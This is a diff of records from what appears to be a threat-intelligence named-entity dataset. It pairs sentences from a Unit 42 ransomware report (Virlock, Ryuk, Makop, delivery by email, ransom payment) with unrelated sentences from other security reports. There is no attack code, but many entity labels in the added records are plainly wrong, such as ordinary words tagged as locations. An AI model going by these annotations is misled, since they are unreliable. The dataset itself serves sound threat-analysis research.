-{"id":511,"text":"Figure 1 shows the proportion of ransomware sample numbers for different families that Unit 42 detected in the wild.","entities":[{"id":46142,"label":"identity","start_offset":87,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":512,"text":"Among all, 6.7% of the ransomware samples are Virlock, which has been active since 2014.","entities":[{"id":46143,"label":"malware","start_offset":46,"end_offset":53},{"id":46144,"label":"TIME","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":513,"text":"Virlock has the largest number of variants due to its file-infector-like behavior.","entities":[{"id":46145,"label":"attack-pattern","start_offset":54,"end_offset":81},{"id":44760,"label":"malware","start_offset":0,"end_offset":7}],"relations":[{"id":159,"from_id":44760,"to_id":46145,"type":"uses"}],"Comments":[]}
-{"id":514,"text":" Higher malware variant numbers don't necessarily imply a higher prevalence.","entities":[],"relations":[],"Comments":[]}
-{"id":515,"text":"Some ransomware families don’t deliver different variants every time, but the infection ratio per sample is high, meaning attackers delivered the same malware to huge numbers of victims.","entities":[],"relations":[],"Comments":[]}
-{"id":516,"text":"Figure 2 shows a completely different result from Figure 1 and stems from only counting ransomware samples from cases in which more than five hosts were infected with the same malware.","entities":[],"relations":[],"Comments":[]}
-{"id":517,"text":"From this lens, the top three families observed are Ryuk (31.7%), Sodinokibi (20%) and Maze (15%).  Emails are still the most efficient method to deliver and propagate ransomware.","entities":[{"id":46146,"label":"malware","start_offset":52,"end_offset":56},{"id":46147,"label":"malware","start_offset":66,"end_offset":76},{"id":46148,"label":"malware","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":518,"text":"Figure 3 shows ransomware arrives via different application protocols.","entities":[],"relations":[],"Comments":[]}
-{"id":519,"text":"The majority of ransomware is delivered by email.","entities":[{"id":44761,"label":"attack-pattern","start_offset":16,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":520,"text":"Web browsing is the second most common entry vector for ransomware infections.","entities":[],"relations":[],"Comments":[]}
-{"id":521,"text":"The process of delivering malware by a URL can include various techniques.","entities":[],"relations":[],"Comments":[]}
-{"id":522,"text":"For example, the URL links can be posted on forums or chat group software, sent by IM applications, offered via fake freeware for download or attached in emails.","entities":[{"id":45793,"label":"attack-pattern","start_offset":112,"end_offset":125},{"id":46149,"label":"attack-pattern","start_offset":142,"end_offset":160}],"relations":[],"Comments":[]}
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-{"id":526,"text":"This downloads and executes an obfuscated PowerShell script to finally install the ransomware.","entities":[{"id":46153,"label":"attack-pattern","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":527,"text":" Figure 4 breaks down which file types we saw in the course of ransomware detection and their prevalence.","entities":[],"relations":[],"Comments":[]}
-{"id":528,"text":"32-bit EXE is the most common ransomware file type we observed.","entities":[],"relations":[],"Comments":[]}
-{"id":529,"text":"Other file types are often used as the first stage of infection or downloaders, such as archives, documents and scripts.","entities":[],"relations":[],"Comments":[]}
-{"id":530,"text":"Most ransomware is delivered via email with an attached archive; the ransomware is compressed in the archived files with or without password protection.","entities":[],"relations":[],"Comments":[]}
-{"id":531,"text":"“Resume” or “portfolio document” are examples of archive file names, and the archive contains one or more pieces of malware with fake document file icons.","entities":[],"relations":[],"Comments":[]}
-{"id":532,"text":"One example here is Makop, contained in a 7z archive along with an infostealer malware (SHA256: DE6DFA018773E07C218EF1DF62CE0D99A708841BF1DDFB4C6AD7E323D5D666A4).","entities":[{"id":1760,"label":"malware","start_offset":67,"end_offset":78},{"id":1761,"label":"SHA2","start_offset":96,"end_offset":160},{"id":46154,"label":"tools","start_offset":42,"end_offset":44}],"relations":[{"id":156,"from_id":1761,"to_id":1760,"type":"related-to"}],"Comments":[]}
-{"id":533,"text":"A script file is also used to download or install ransomware.","entities":[],"relations":[],"Comments":[]}
-{"id":534,"text":"For example, GandCrab uses JScript as a downloader, leveraging Windows Background Intelligent Transfer Service (BITS) to download the payload in the background (Figure 5).","entities":[{"id":44765,"label":"malware","start_offset":13,"end_offset":21},{"id":44766,"label":"tools","start_offset":63,"end_offset":117}],"relations":[{"id":20,"from_id":44765,"to_id":44766,"type":"uses"}],"Comments":[]}
-{"id":535,"text":"We also observed that Mailto (AKA NetWalker) tends to deliver ransomware in a highly obfuscated PowerShell script.","entities":[{"id":1765,"label":"malware","start_offset":22,"end_offset":28},{"id":1766,"label":"malware","start_offset":34,"end_offset":43},{"id":46155,"label":"attack-pattern","start_offset":78,"end_offset":113}],"relations":[{"id":162,"from_id":1766,"to_id":1765,"type":"duplicate-of"},{"id":160,"from_id":46155,"to_id":1766,"type":"delivers"},{"id":161,"from_id":46155,"to_id":1765,"type":"delivers"}],"Comments":[]}
-{"id":536,"text":"Exploit documents are seldom seen for delivering ransomware.","entities":[],"relations":[],"Comments":[]}
-{"id":537,"text":"One example is an exploit RTF that led to downloading and installing Makop ransomware remotely.","entities":[{"id":44767,"label":"attack-pattern","start_offset":18,"end_offset":29},{"id":44768,"label":"malware","start_offset":69,"end_offset":85}],"relations":[{"id":21,"from_id":44767,"to_id":44768,"type":"delivers"}],"Comments":[]}
-{"id":538,"text":" Besides encrypting files on infected hosts, the main feature of ransomware is, of course, the demand for ransom.","entities":[],"relations":[],"Comments":[]}
-{"id":539,"text":"Since ransomware threat actors have had years to evolve their techniques, there are now several different ways for attackers to receive payments and provide the \"service\" they claim to offer.","entities":[],"relations":[],"Comments":[]}
-{"id":540,"text":"Usually, after the ransomware successfully installs, it pops up a message box or leaves text files to explain how to pay the ransom – the ransom note.","entities":[],"relations":[],"Comments":[]}
-{"id":541,"text":"Some ransomware locks the victim's screen and only displays the ransom note.","entities":[],"relations":[],"Comments":[]}
-{"id":542,"text":" Unit 42 has reviewed ransom notes from different ransomware families.","entities":[{"id":46156,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":543,"text":"Most ransom notes request payment in cryptocurrency or mention reaching out via the darknet, though some other contact methods also appear.  In these cases, the ransom note asks victims to pay a specific amount in cryptocurrency – Bitcoin (BTC), Monero (XMR), etc. — to a specific wallet address.","entities":[{"id":45794,"label":"SOFTWARE","start_offset":246,"end_offset":252},{"id":44769,"label":"SOFTWARE","start_offset":231,"end_offset":238},{"id":44770,"label":"SOFTWARE","start_offset":231,"end_offset":244},{"id":44772,"label":"SOFTWARE","start_offset":246,"end_offset":258}],"relations":[],"Comments":[]}
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-{"id":546,"text":"Instead, they instruct victims to install TOR and reach out to them on the darknet.","entities":[{"id":44773,"label":"tools","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":547,"text":"Usually, they host a website for victims to input the identification key found in the ransom note, upload encrypted files for decryption – and pay the ransom.","entities":[],"relations":[],"Comments":[]}
-{"id":548,"text":" Ransom notes from Makop, Dharma, Ryuk, DearCry and others, sometimes ask victims to reach out to them via email.","entities":[{"id":46164,"label":"malware","start_offset":19,"end_offset":24},{"id":46166,"label":"malware","start_offset":34,"end_offset":38},{"id":46167,"label":"malware","start_offset":40,"end_offset":47},{"id":46165,"label":"malware","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":549,"text":"The email addresses given are usually from untraceable email accounts.","entities":[],"relations":[],"Comments":[]}
-{"id":550,"text":"At other times, a threat actor lets the victim chat with them directly on group chat software.","entities":[],"relations":[],"Comments":[]}
-{"id":551,"text":"The victims can find the threat actor’s user name through specific group chat software or follow a chat group link in the ransom note.  Ransom payment operations are complicated and highly automated processes.","entities":[],"relations":[],"Comments":[]}
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+{"id":8901,"text":"In this particular attack, we observed that to perform lateral movement, the attacker mapped Windows admin shares and used remotely created scheduled tasks to launch malware.","entities":[{"id":27512,"label":"attack-pattern","start_offset":93,"end_offset":113},{"id":27513,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
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+{"id":2692,"text":"  LockBit 2.0 and its evolution over time is a perfect example to illustrate the persistence, increasing complexity and impact brought by the ransomware landscape as a whole.","entities":[{"id":47926,"label":"attack-pattern","start_offset":2,"end_offset":13}],"relations":[],"Comments":[]}
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+{"id":14185,"text":"However, following the Presidential EO this week, we could well see Russian APT groups or their proxies expand their targeting of U.S. critical infrastructure.","entities":[],"relations":[],"Comments":[]}
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+{"id":6294,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics.","entities":[{"id":19504,"label":"location","start_offset":5,"end_offset":9},{"id":19506,"label":"identity","start_offset":53,"end_offset":60},{"id":19507,"label":"location","start_offset":88,"end_offset":91},{"id":19508,"label":"location","start_offset":160,"end_offset":163},{"id":19509,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
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+{"id":13642,"text":"The fraudsters, whom we named \u201cWater Nue,\u201d primarily target accounts of financial executives to obtain credentials for further financial fraud.","entities":[{"id":51732,"label":"threat-actor","start_offset":31,"end_offset":40},{"id":51734,"label":"identity","start_offset":72,"end_offset":92}],"relations":[{"id":1148,"from_id":51732,"to_id":51734,"type":"targets"}],"Comments":[]}
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+{"id":11638,"text":"We believe further activities are propagated via spear-phishing attacks.","entities":[{"id":35712,"label":"location","start_offset":30,"end_offset":33},{"id":35713,"label":"location","start_offset":49,"end_offset":54},{"id":35714,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
+{"id":6439,"text":"During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments.","entities":[{"id":20043,"label":"location","start_offset":12,"end_offset":20},{"id":20044,"label":"location","start_offset":41,"end_offset":45},{"id":20045,"label":"location","start_offset":84,"end_offset":90},{"id":20046,"label":"attack-pattern","start_offset":126,"end_offset":132},{"id":20047,"label":"location","start_offset":140,"end_offset":143},{"id":20048,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]}
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+{"id":613,"text":"The hot spots in the United States represents distribution servers which are created using fraud based accounts at various hosting providers that are hosting the Hancitor documents while the hotspots in Asia represent legitimate sites for small and medium businesses that have been compromised by the actors behind Hancitor campaign to host the malicious Hancitor documents.","entities":[{"id":46207,"label":"malware","start_offset":162,"end_offset":170},{"id":46208,"label":"location","start_offset":203,"end_offset":207},{"id":46206,"label":"location","start_offset":21,"end_offset":34},{"id":46210,"label":"campaign","start_offset":315,"end_offset":332},{"id":46211,"label":"malware","start_offset":355,"end_offset":363}],"relations":[{"id":168,"from_id":46207,"to_id":46206,"type":"targets"},{"id":169,"from_id":46207,"to_id":46208,"type":"targets"}],"Comments":[]}
+{"id":1561,"text":"Instead, you should verify that the message and the attachment are legitimate by contacting the sender in some way other than replying to the email (because replying to the email may go back to the attackers who will, of course, say it\u2019s legitimate).","entities":[],"relations":[],"Comments":[]}
+{"id":13861,"text":"The ransomware used by the group is a relatively new family that was first spotted in August 2020, but the group draws on experience from previous financially successful cybercrime enterprises.","entities":[],"relations":[],"Comments":[]}
+{"id":584,"text":"With AI-powered Inline analysis, the Next-Generation Firewall stops exploits that lead to infection, and WildFire\u2019s always up-to-date machine learning models monitor behavior to preemptively detect unknown ransomware.","entities":[{"id":46180,"label":"identity","start_offset":105,"end_offset":113}],"relations":[],"Comments":[]}
+{"id":971,"text":"Figure 5 shows a packet capture of a test message upload.","entities":[],"relations":[],"Comments":[]}
+{"id":13666,"text":"The displayed email header \u201cfrom\u201d and subject also pretend as a voicemail service.","entities":[],"relations":[],"Comments":[]}
+{"id":13189,"text":"The group also uses steganography to mask their backdoor routines and evade anti-malware and network perimeter detection.","entities":[{"id":41149,"label":"threat-actor","start_offset":37,"end_offset":41},{"id":41150,"label":"location","start_offset":66,"end_offset":69},{"id":41151,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
+{"id":14145,"text":"Exfiltration techniques and information interest are very similar if not fully matched  While it is always possible for another group to imitate the TTPs of a different group to confuse attribution, there does not seem to be any indication of that here.","entities":[],"relations":[],"Comments":[]}
+{"id":5434,"text":"Performing a factory reset might blank out an organization\u2019s configuration, but not the underlying operating system that the attackers have modified.","entities":[],"relations":[],"Comments":[]}
+{"id":12131,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":37539,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":37540,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
+{"id":12625,"text":"It also checks the Windows version running on the system.","entities":[],"relations":[],"Comments":[]}
+{"id":2083,"text":"This time around, x4k is using the logo as the start menu for his OS enviorment.","entities":[{"id":47211,"label":"threat-actor","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
+{"id":9706,"text":"Randomly generated AES256 key  Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)","entities":[],"relations":[],"Comments":[]}
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-{"id":556,"text":"The wallet got involved in the operation of mixing and tumbling among several other virtual wallets.","entities":[],"relations":[],"Comments":[]}
-{"id":557,"text":"This is a pretty common operation when attackers want to withdraw or disperse currency from ransom payments into other wallets.","entities":[],"relations":[],"Comments":[]}
-{"id":558,"text":"During the operation, 25.1 BTC from 538 wallets was sent to 1NDyJtNTjmwk5xPNhjgAMu4HDHigtobu1s (SHA256: CE11703DEF517306326C48A67A7C859A3DE0F18E2451DF226CE171389A5B7953), which is a wallet owned by Binance cryptocurrency exchange.","entities":[{"id":1845,"label":"SHA2","start_offset":104,"end_offset":168},{"id":44776,"label":"identity","start_offset":198,"end_offset":229}],"relations":[{"id":164,"from_id":44776,"to_id":1845,"type":"owns"}],"Comments":[]}
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-{"id":560,"text":"The 25.1 BTC amount was worth $1.18 million at that time, and now is about $876,000.","entities":[],"relations":[],"Comments":[]}
-{"id":561,"text":" Since Virlock only requests a $250 ransom, it does not draw too much public attention.","entities":[{"id":45795,"label":"malware","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":562,"text":"Other ransomware families, however, target enterprises and ask for multimillion dollar ransoms, which garners much more media attention.","entities":[],"relations":[],"Comments":[]}
-{"id":563,"text":"Based on the way Virlock spreads the ransom amount it demands, it is likely designed to target consumers or home users.","entities":[{"id":46173,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
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-{"id":565,"text":"The encrypted file icon will look the same as usual, but after opening the infected file, the ransom note will pop up.","entities":[],"relations":[],"Comments":[]}
-{"id":566,"text":"Virlock uses, but isn’t limited to, PDF, DOC, PPT, JPG, BMP,GIF, RAR, 7Zip, Zip and EXE files.","entities":[{"id":46174,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":567,"text":"Figure 6 is a screenshot of a recently captured Virlock ransom note.","entities":[{"id":44781,"label":"malware","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":568,"text":"The attacker asked for $250 and required payment as 0.004 BTC (suggesting that at the time the ransom note was written, 1 BTC equaled approximately $62,500).","entities":[],"relations":[],"Comments":[]}
-{"id":569,"text":"At the time of infection experiments, 1 BTC equaled approximately $54,649, suggesting that the exchange rate in the ransom note is not updated on the fly.","entities":[],"relations":[],"Comments":[]}
-{"id":570,"text":"Some Virlock variants ask for more ransom, such as 0.771 BTC, 1.008 BTC or more.","entities":[{"id":44782,"label":"malware","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":571,"text":" The top three samples we observed spreading in early 2021 were Ryuk, Maze, and Sodinokibi.","entities":[{"id":1907,"label":"malware","start_offset":64,"end_offset":68},{"id":1910,"label":"malware","start_offset":80,"end_offset":90},{"id":46175,"label":"malware","start_offset":70,"end_offset":74},{"id":46176,"label":"TIME","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":572,"text":"These three contribute 7.2% out of the total infected numbers we collected.","entities":[],"relations":[],"Comments":[]}
-{"id":573,"text":" Ryuk will change the infected file extension to .RYK, and leave a ransom note called RyukReadMe.html.","entities":[{"id":44783,"label":"malware","start_offset":1,"end_offset":5},{"id":44784,"label":"FILEPATH","start_offset":86,"end_offset":101}],"relations":[{"id":22,"from_id":44784,"to_id":44783,"type":"indicates"}],"Comments":[]}
-{"id":574,"text":"One of the reasons Ryuk causes so much damage is because it will scan the local network and try to infect other machines through Server Message Block (SMB) protocols.","entities":[{"id":1919,"label":"malware","start_offset":19,"end_offset":23},{"id":46177,"label":"SOFTWARE","start_offset":129,"end_offset":155}],"relations":[],"Comments":[]}
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-{"id":576,"text":"In this research, we discussed ransomware family trends we observed in the first three months of 2021.","entities":[{"id":44785,"label":"TIME","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":577,"text":"First, we reviewed the trends from prevalent ransomware families, then we discussed the most common file types used as attack vectors leveraged by ransomware.","entities":[],"relations":[],"Comments":[]}
-{"id":578,"text":"Lastly, we gave an example of ransom operations and updates about top ransomware families.","entities":[],"relations":[],"Comments":[]}
-{"id":579,"text":" Ransomware threats are a serious challenge.","entities":[],"relations":[],"Comments":[]}
-{"id":580,"text":"Employing effective backup strategies and disaster recovery procedures is important.","entities":[],"relations":[],"Comments":[]}
-{"id":581,"text":"Palo Alto Networks customers are further protected from ransomware.","entities":[{"id":46178,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":582,"text":"Cortex XSOAR can automatically and instantly coordinate with network security, malware analysis and threat management solutions to ensure customers remain protected.","entities":[{"id":44786,"label":"SOFTWARE","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":583,"text":"Cortex XDR endpoint protection stops malware, exploits and ransomware before they can compromise endpoints.","entities":[{"id":46179,"label":"SOFTWARE","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
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-{"id":585,"text":" If you think you may have been impacted by ransomware, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.","entities":[{"id":1952,"label":"EMAIL","start_offset":69,"end_offset":111},{"id":1954,"label":"identity","start_offset":160,"end_offset":167},{"id":44787,"label":"identity","start_offset":128,"end_offset":134},{"id":44788,"label":"identity","start_offset":160,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":586,"text":" Highlights from the 2021 Unit 42 Ransomware Threat Report  Ransomware Threat Assessments: A Companion to the 2021 Unit 42 Ransomware Threat Report  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":1956,"label":"identity","start_offset":26,"end_offset":33},{"id":1958,"label":"identity","start_offset":115,"end_offset":122}],"relations":[],"Comments":[]}
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-{"id":589,"text":"If you need to understand one thing about cybercrime, it’s that it is all about business.","entities":[],"relations":[],"Comments":[]}
-{"id":590,"text":" In our latest Unit 42 research on cybercriminals using the Hancitor malware, we show that not only are their attacks about business, we can see these cybercriminals deftly applying some fundamental business principles around timing, specialization, and globalization.","entities":[{"id":46181,"label":"identity","start_offset":15,"end_offset":22},{"id":46182,"label":"malware","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":591,"text":" Hancitor is a malware that focuses getting other malware onto the victim’s system.","entities":[{"id":44790,"label":"malware","start_offset":1,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":592,"text":"In the case of Hancitor, it’s typically banking Trojans that steal the victim’s banking information.","entities":[{"id":46183,"label":"malware","start_offset":15,"end_offset":23},{"id":46184,"label":"attack-pattern","start_offset":61,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":593,"text":" In our latest research, we can see the attackers behind Hancitor have been timing their attacks to happen during the busiest time of the global working week, the middle of the week.","entities":[{"id":46185,"label":"malware","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":594,"text":"And we’ve seen that in adapting their attacks to better evade detection, they’ve specialized their operations around the globe.","entities":[],"relations":[],"Comments":[]}
-{"id":595,"text":" Hancitor isn’t particularly advanced in its tactics: it’s ideal target is an old or outdated version of Microsoft Windows like Windows 7 or even Windows XP.","entities":[{"id":46187,"label":"malware","start_offset":1,"end_offset":9},{"id":46188,"label":"SOFTWARE","start_offset":105,"end_offset":122},{"id":46189,"label":"SOFTWARE","start_offset":128,"end_offset":137},{"id":46190,"label":"SOFTWARE","start_offset":146,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":596,"text":"But it’s effective enough that when used in several hundred different spam campaigns every month it pays for the criminals to keep up these attacks against targets around the world.","entities":[],"relations":[],"Comments":[]}
+{"id":4908,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google\u2019s naming), and Kantal (Google\u2019s naming) which shares code similarity with Vidar.","entities":[{"id":50930,"label":"malware","start_offset":106,"end_offset":119},{"id":50931,"label":"malware","start_offset":121,"end_offset":134},{"id":50925,"label":"malware","start_offset":53,"end_offset":71},{"id":50926,"label":"malware","start_offset":73,"end_offset":86},{"id":50927,"label":"malware","start_offset":88,"end_offset":95},{"id":50928,"label":"malware","start_offset":97,"end_offset":104},{"id":50932,"label":"malware","start_offset":136,"end_offset":141},{"id":50933,"label":"malware","start_offset":165,"end_offset":171},{"id":50934,"label":"malware","start_offset":224,"end_offset":229},{"id":50923,"label":"malware","start_offset":37,"end_offset":44},{"id":50924,"label":"malware","start_offset":46,"end_offset":51}],"relations":[{"id":1032,"from_id":50933,"to_id":50934,"type":"variant-of"}],"Comments":[]}
+{"id":171,"text":"If user32.dll were encrypted and unusable, it would be a problem.","entities":[{"id":44610,"label":"FILEPATH","start_offset":3,"end_offset":13}],"relations":[],"Comments":[]}
+{"id":14287,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
+{"id":9628,"text":"Upon receiving the malicious document, the user is advised to enable macros.","entities":[],"relations":[],"Comments":[]}
+{"id":120,"text":"Take a look at Trend Micro Cloud One, part of our complete cybersecurity platform, to learn more.","entities":[{"id":44602,"label":"SOFTWARE","start_offset":15,"end_offset":36}],"relations":[],"Comments":[]}
+{"id":13798,"text":"If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode.","entities":[],"relations":[],"Comments":[]}
+{"id":1430,"text":"As this means the security protecting private keys varies widely, the security risks of bad certificate management cannot be ignored and must be identified, and where necessary, mitigated.","entities":[],"relations":[],"Comments":[]}
+{"id":173,"text":" The net of these three points is that ransomware is a threat such that focus needs to be placed solely around prevention.","entities":[],"relations":[],"Comments":[]}
+{"id":12799,"text":"Waterbear similarly employs a modular approach to its malware.","entities":[],"relations":[],"Comments":[]}
+{"id":2017,"text":"The code is extremely similar between UPX-packed binaries and the custom packer, however the custom packer avoids using identifiable section names such as .UPX0 and .UPX1, and leaves the default .text, .data, and .rsrc names unchanged.","entities":[{"id":47115,"label":"tools","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
+{"id":530,"text":"Most ransomware is delivered via email with an attached archive; the ransomware is compressed in the archived files with or without password protection.","entities":[],"relations":[],"Comments":[]}
+{"id":12166,"text":"There was no sandbox escape or implant delivered via this exploit.","entities":[],"relations":[],"Comments":[]}
+{"id":1613,"text":" This message is pretty straightforward, assuming the user actually reads it.","entities":[],"relations":[],"Comments":[]}
+{"id":5046,"text":"In early March, Google\u2019s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":51129,"label":"identity","start_offset":16,"end_offset":52},{"id":51130,"label":"location","start_offset":137,"end_offset":144},{"id":51128,"label":"TIME","start_offset":3,"end_offset":14}],"relations":[],"Comments":[]}
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+{"id":2795,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":2752,"text":"It\u2019s in parsing these functions that the new Bash vulnerability exists, as the shell mistakenly executes code that is added after a function definition.","entities":[{"id":47995,"label":"tools","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
+{"id":13814,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
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+{"id":11531,"text":"While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.","entities":[{"id":35315,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":35316,"label":"location","start_offset":47,"end_offset":55},{"id":35320,"label":"location","start_offset":209,"end_offset":212},{"id":35321,"label":"location","start_offset":226,"end_offset":229}],"relations":[],"Comments":[]}
+{"id":9123,"text":"The initial bodiless payload was designed to be triggered by the exploit kit shellcode, which performed routine checks in the infected machine.","entities":[],"relations":[],"Comments":[]}
+{"id":13219,"text":"Enforce the principle of least privilege.","entities":[],"relations":[],"Comments":[]}
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+{"id":8064,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
+{"id":13848,"text":"Hooking T1179   Hooks security product\u2019s commonly used APIs Privilege Escalation   Process Injection T1055 Injects the decrypts payload into svchost.exe process Hooking T1179   Hooks security products\u2019 commonly used APIs Defense Evasion Binary Padding T1009 Adds junk data to evade anti-virus scan Disabling Security Tools T1089 Targets a specific security product\u2019s process for injection purposes Deobfuscate\/Decode Files or Information T1140 Uses TROJ_WATERBEAR to decrypt encrypted payload Execution Guardrails T1480 Targets specific software in the victim\u2019s environment DLL","entities":[{"id":42923,"label":"attack-pattern","start_offset":0,"end_offset":7},{"id":42924,"label":"location","start_offset":16,"end_offset":21},{"id":42925,"label":"location","start_offset":22,"end_offset":30},{"id":42926,"label":"attack-pattern","start_offset":60,"end_offset":80},{"id":42927,"label":"attack-pattern","start_offset":83,"end_offset":100},{"id":42928,"label":"attack-pattern","start_offset":161,"end_offset":168},{"id":42929,"label":"location","start_offset":177,"end_offset":182},{"id":42930,"label":"location","start_offset":183,"end_offset":191},{"id":42931,"label":"attack-pattern","start_offset":237,"end_offset":251},{"id":42932,"label":"attack-pattern","start_offset":298,"end_offset":322},{"id":42933,"label":"location","start_offset":348,"end_offset":356}],"relations":[],"Comments":[]}
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+{"id":10978,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
+{"id":14163,"text":"Instead, the future is moving to a more consolidated approach with fewer vendors.","entities":[],"relations":[],"Comments":[]}
+{"id":392,"text":"The Managed Threat Hunting team immediately reported this incident to the customer and continues to monitor our customers using the XQL queries in the following section.","entities":[{"id":46088,"label":"SOFTWARE","start_offset":132,"end_offset":135},{"id":46087,"label":"identity","start_offset":4,"end_offset":31}],"relations":[],"Comments":[]}
+{"id":2728,"text":" This vulnerability only affects SMBv3 and the following builds of the Microsoft Windows operating system (OS):  Review the workaround guidance provided by the Microsoft Security Vulnerability.","entities":[{"id":47970,"label":"SOFTWARE","start_offset":33,"end_offset":38},{"id":47971,"label":"SOFTWARE","start_offset":71,"end_offset":110},{"id":47972,"label":"identity","start_offset":160,"end_offset":192}],"relations":[],"Comments":[]}
+{"id":1702,"text":"This would certainly be good news to anyone reading this blog, but for the criminal it\u2019s a big setback and source of frustration.","entities":[],"relations":[],"Comments":[]}
+{"id":4533,"text":"We appreciate the Committee\u2019s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":50327,"label":"identity","start_offset":69,"end_offset":96}],"relations":[],"Comments":[]}
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+{"id":5537,"text":"These include:     Infecting third-party companies which supply code to other sites (e.g., those that provide online ad services).","entities":[],"relations":[],"Comments":[]}
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+{"id":14176,"text":"If the security and intelligence community continues to come together to share what information we have on offensive Russian cyber activity, and customers have the right detection and response tools in place, organizations can maintain a strong defensive posture.","entities":[],"relations":[],"Comments":[]}
+{"id":1704,"text":" Once attackers have infected a PC through some exploit or social engineering, one of their major challenges is keeping control of that system.","entities":[],"relations":[],"Comments":[]}
+{"id":7856,"text":"Next, the device must support ADB backup, which was not introduced until Android 4.0 (Ice Cream Sandwich).","entities":[],"relations":[],"Comments":[]}
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+{"id":9229,"text":"This could include deploying ransomware to victim organizations.","entities":[],"relations":[],"Comments":[]}
+{"id":806,"text":"Attackers will use credential theft for remote access to an organization, to access cloud-based resources (which may have weaker credential protections than network-based resources), or to move laterally within an organization once they\u2019ve gained entry.","entities":[{"id":46360,"label":"attack-pattern","start_offset":19,"end_offset":35}],"relations":[],"Comments":[]}
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+{"id":5223,"text":"As we encourage more DDS researchers, users, and implementors to keep on studying and promoting security awareness for the DDS ecosystem, we hope the level of engagement we received can serve as a model for the software industry.","entities":[],"relations":[],"Comments":[]}
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+{"id":2619,"text":" Because the group uses a diversity of techniques for attacks, no single technique can protect against Lapsus$ or detect its attacks.","entities":[{"id":45621,"label":"threat-actor","start_offset":103,"end_offset":110}],"relations":[],"Comments":[]}
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+{"id":13113,"text":"Cloud computing is on a roll.","entities":[],"relations":[],"Comments":[]}
+{"id":2185,"text":"This new campaign used updated instances of the Tdrop malware family discovered in the Operation Troy campaign.","entities":[{"id":6580,"label":"malware","start_offset":48,"end_offset":53},{"id":47314,"label":"campaign","start_offset":87,"end_offset":110}],"relations":[{"id":313,"from_id":47314,"to_id":6580,"type":"delivers"}],"Comments":[]}
+{"id":4547,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":50344,"label":"location","start_offset":153,"end_offset":160},{"id":50342,"label":"location","start_offset":62,"end_offset":69},{"id":50343,"label":"threat-actor","start_offset":121,"end_offset":132},{"id":50346,"label":"threat-actor","start_offset":5,"end_offset":36}],"relations":[{"id":943,"from_id":50346,"to_id":50342,"type":"targets"}],"Comments":[]}
+{"id":1546,"text":"The recent spoofed emails we have seen are forged to appear to come from Jane\u2019s 360 Defense Events to tell the recipient about events coming up in 2018.","entities":[{"id":46825,"label":"TIME","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]}
